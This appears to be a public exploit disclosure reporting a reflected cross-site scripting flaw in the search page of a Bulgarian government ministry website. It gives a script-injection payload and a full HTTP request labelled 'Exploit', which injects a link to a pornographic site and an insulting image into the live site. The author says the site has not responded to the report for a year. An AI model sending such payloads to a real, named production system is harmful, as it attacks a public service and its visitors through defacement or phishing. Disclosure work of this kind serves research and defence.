## Titles: moew.government.bg Cross-site scripting (reflected) ## Author: nu11secur1ty ## Date: 11/10/2025 ## Vendor: https://www.moew.government.bg/ ## Software: https://www.moew.government.bg/ ## Reference: https://portswigger.net/web-security/cross-site-scripting ## Description: -NOTE: The target is not RESPONDING after I reported this problem, one year early. WHAT A SHAME! The value of the query request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload mxrdv"><script>alert(1)</script>zt9br was submitted in the query parameter. This input was echoed unmodified in the application's response. STATUS: HIGH- Vulnerability [+]Exploit: ``` GET /bg/search/?query=%3Ca%20href=%22https://www.pornhub.com%22%20target=%22_blank%22%3E%20%3Cimg%20src=%22https://media1.tenor.com/m/sLjUbG5BVikAAAAd/trump-dance-trump-2024.gif%22%20alt=%22STUPID%22width=%22900%22%20height=%22450%22%3E%20%3C/a%3E&submit=%D0%A2%D1%8A%D1%80%D1%81%D0%B8 HTTP/1.1 Host: www.moew.government.bg Cookie: _ga_7HXZLF4R2C=GS2.1.s1756997385$o1$g1$t1756997784$j59$l0$h0; _ga=GA1.2.946718660.1756997386 Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive ``` ## Demo PoC: [href](https://www.nu11secur1ty.com/2025/11/moewgovernmentbg-xss-reflected.html) ## Time spent: 00:27:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ home page: https://www.asc3t1c-nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <https://nu11secur1ty.blogspot.com/>